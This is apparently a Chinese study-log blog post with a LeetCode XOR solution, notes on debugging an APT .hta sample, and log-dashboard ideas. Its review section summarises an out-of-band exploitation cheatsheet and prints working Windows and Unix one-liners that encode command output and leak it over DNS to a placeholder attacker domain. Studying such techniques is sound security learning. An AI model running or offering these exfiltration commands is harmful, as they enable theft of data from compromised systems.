【ARTS】01_04_左耳听风-20181203~1209
ARTS:
- Algrothm: leetcode算法题目
- Review: 阅读并且点评一篇英文技术文章
- Tip/Techni: 学习一个技术技巧
- Share: 分享一篇有观点和思考的技术文章
Algorithm
Single Number
https://leetcode.com/problems/single-number/
1)problem
Given a non-empty array of integers, every element appears twice except for one. Find that single one.
Note:
Your algorithm should have a linear runtime complexity. Could you implement it without using extra memory?
Example 1:
Input: [2,2,1]
Output: 1
Example 2:
Input: [4,1,2,1,2]
Output: 4
2)answer
数组中其他数出现两次,仅有一个出现一次的。逐个字符进行异或来,当某个数字出现第二次时候数字就归为0。二进制计算逻辑如下:
二进制 异或 下一次的异或值 实际值
4 ==> 100 ==> 100 ^ 000 = 100 = 4
1 ==> 001 ==> 001 ^ 100 = 101 = 5
2 ==> 010 ==> 010 ^ 101 = 111 = 7
1 ==> 001 ==> 001 ^ 111 = 110 = 6
2 ==> 010 ==> 010 ^ 110 = 100 = 4
3)solution
Cpp:
#include <stdio.h>
#include <vector>
using std::vector;
class Solution {
public:
int singleNumber(vector<int>& nums) {
int aNum = 0;
for (int i = 0; i < nums.size(); i++) {
aNum ^= nums[i];
}
return aNum;
}
};
int main()
{
// 使用内容
Solution nSolution;
vector<int> nums;
nums.push_back(2);
nums.push_back(1);
nums.push_back(2);
nSolution.singleNumber(nums);
return 0;
}
Python:
class Solution(object):
def singleNumber(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
r_nums = 0
for num in nums:
r_nums ^= num
return r_nums
4)总结
Tips:按tags刷会比较有效率。
- String
https://leetcode.com/problemset/all/?topicSlugs=string
https://leetcode.com/problems/unique-email-addresses
https://leetcode.com/problems/to-lower-case
- HASH Tables
https://leetcode.com/problems/jewels-and-stones
https://leetcode.com/problems/single-number
Review
【WEB安全】out of band exploitation (oob) cheatsheet
https://www.exploit-db.com/docs/english/45370-out-of-band-exploitation-(oob)-cheatsheet.pdf
1)场景
OOB是一种确认和利用漏洞的方法。让容易受到攻击的实体生成出站请求(TCP/UDP/ICMP),由攻击者过滤数据。
而OOB攻击基于出口防火墙规则从受攻击的系统发出出站请求,所以防火墙不会拦截。
2)问题难点
文章中的演示是利用DNS协议进行传输数据的。
3)解决问题的方法
在受攻击的系统执行命令,把命令回显结果传回到攻击者的服务器上。对受攻击的系统执行指定命令通过DNS访问攻击者的服务器,攻击者将开启tcpdump抓包工具把原数据存储,在过滤还原出来。
4)方法细节
在攻击者服务器上运行TCPDUMP。接受数据原理:
tcpdump -n port 53
Windows:
受攻击机器:
nslookup test.oob.dnsattacker.com
Uinx:
host host.oob.dnsattacker.com
5)总结
- 获取主机名
Windows受攻击机器
cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3
&& set /p MYVAR=<temp3 && set FINAL=!MYVAR!.oob.dnsattacker.com && nslookup !FINAL!"
攻击者:
echo “encoded output” |base64 -d # decode the output with base64
- 发送多行的显示结果
受攻击机器:
cmd /v /c "ipconfig > output && certutil -encodehex -f output output.hex 4 && powershell $text=GetContent
output.hex;$subdomain=$text.replace(' ','');$j=11111;foreach($i in $subdomain){
$final=$j.tostring()+'.'+$i+'.file.oob.dnsattacker.com';$j += 1; nslookup $final }" # Sending file inHEX
攻击者:
sudo tcpdump -n port 53 | tee file.txt
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f
2|tr -d '\n')" | xxd -r -p
Unix:
受攻击者:
var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b.file.oob.dnsattacker.com;done # Sending file in HEX
攻击者:
sudo tcpdump -n port 53 | tee file.txt
提取和构造输出:
echo "0x$(cat file.txt |tr ' ' '\n' |awk '/file.oob.dnsattacker.com/ {print $1}'|sort -u| cut -d '.' -f 2|tr -d '\n')" | xxd -r -p
Base64:
var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i.file.oob.dnsattacker.com; done# Sending file in base64
Tip
【逆向分析】某APT组织.net程序调试技巧
1)场景
某个APT组织的样本是通过.hta文件在内存中直接展开的。
2)问题难点
.HTA文件,解密在分析。工具少,时间长。
3)解决思路
查看mshta.exe是否在运行,使用OD附加这个进程。
4)方法细节
1、运行.hta文件,查看mshta.exe是否在运行,使用OD附加这个进程。
2、bp connect:对网络函数下断点,获取连接域名或IP的位置,拿到IOC。
5)总结
邮件发送的样本,打开附件的EXE释放会在temp临时目录内释放hta文件或者白签名的文件,打开pdf/word/ppt文件。
Share
【业务安全】应用日志分析需求
1)场景
针对主机存储的日志数据,通过这些分析报表来查看近期站点的流量趋势、洞察站点用户行为、用户地域属性等。
2)问题难点
图是从微信群里看到的,比起上周关注的业务点多了些许细节。
3)解决问题的方法
运营大盘:告警、趋势与分析
- 告警类:准时的展示、拦截;
- 趋势类:饼图、柱图、折线等等。一般以天或小时级别,观测整体的趋势,不适合细粒度分析但可从宏观侧面观测并找到可疑的方向;
- 观测分析类:也以各种饼图、柱图、折线为主,但会比趋势类的展示在某些维度的粒度更细,例如,5-10分钟级别,甚至按地域和用户细分,等等。一方面,用于在可疑方向上进一步确定问题,给分析人员指向原始数据内的分析方向;另一方面,也可在不那么微观、但也不那么宏观的层面上,通过流动性的走势发现一些在原始数据和宏观数据里都无法发现的问题。
4)方法细节
5)总结
无
【ARTS】01_04_左耳听风-20181203~1209的更多相关文章
- 【ARTS】01_21_左耳听风-201900401~201900407
ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...
- 【ARTS】01_20_左耳听风-20190325~20190331
zz## ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 ...
- 【ARTS】01_19_左耳听风-20190318~20190324
ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...
- 【ARTS】01_18_左耳听风-20190311~20190317
ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...
- 【ARTS】01_17_左耳听风-20190304~20190310
ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...
- 【ARTS】01_16_左耳听风-20190225~20190303
ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...
- 【ARTS】01_14_左耳听风-20190211~20190217
ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...
- 【ARTS】01_10_左耳听风-20190114~20190120
ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...
- 【ARTS】01_09_左耳听风-20190107~20190113
ARTS: Algrothm: leetcode算法题目 Review: 阅读并且点评一篇英文技术文章 Tip/Techni: 学习一个技术技巧 Share: 分享一篇有观点和思考的技术文章 Algo ...
随机推荐
- 实训六(Cocos2dx游戏分享到微信朋友圈----AppID的获取)
考虑把游戏分享到微信朋友圈,前面的博文已经写到,shareSDK是一个很好的选择,但是学习了几天时间,遇到了很多问题,与其在一棵树上吊死,还不如退一步海阔天空,先暂时放一放,于是我考虑了一下既然是分享 ...
- 蜗牛慢慢爬 LeetCode 23. Merge k Sorted Lists [Difficulty: Hard]
题目 Merge k sorted linked lists and return it as one sorted list. Analyze and describe its complexity ...
- Docker(二)-Docker安装
官方文档:https://docs.docker.com/ Docker 支持多平台的安装(Linux/Windows/OS X). 因为Docker原生支持Linux,所以,可以直接在Linux上运 ...
- [转帖]Git数据存储的原理浅析
Git数据存储的原理浅析 https://segmentfault.com/a/1190000016320008 写作背景 进来在闲暇的时间里在看一些关系P2P网络的拓扑发现的内容,重点关注了Ma ...
- CentOS7 安装redis 并且设置成服务自动启动
通过 博客园 https://www.cnblogs.com/zuidongfeng/p/8032505.html 学习以及记录 1. 下载redis 现在最新的stable版本是 4.0.10 wg ...
- 初识elasticsearch_2(查询和整合springboot)
初始化 首先将官网所下载的json文件,放入到es中,采用如下命令: curl -H "Content-Type: application/json" -XPOST 'localh ...
- js中的async await
JavaScript 中的 async/await 是属于比较新的知识,在ES7中被提案在列,然而我们强大的babel粑粑已经对它进行列支持! 如果开发中使用了babel转码,那么就放心大胆的用吧. ...
- BZOJ2423 HAOI2010最长公共子序列(动态规划)
大讨论.注意去重. #include<iostream> #include<cstdio> #include<cmath> #include<cstdlib& ...
- BZOJ2721 Violet5樱花(数论)
有(x+y)n!=xy.套路地提出x和y的gcd,设为d,令ad=x,bd=y.则有(a+b)n!=abd.此时d已是和a.b无关的量.由a与b互质,得a+b与ab互质,于是将a+b除过来得n!=ab ...
- Django从入门到放弃
第一篇: web应用 HTTP协议 web框架 第二篇:Djangon简介 第三篇:路由控制 第四篇:视图层 第五篇:模版层 第六篇:模型层:单表操作,多表操作,常用(非常用)字段和参数,Django ...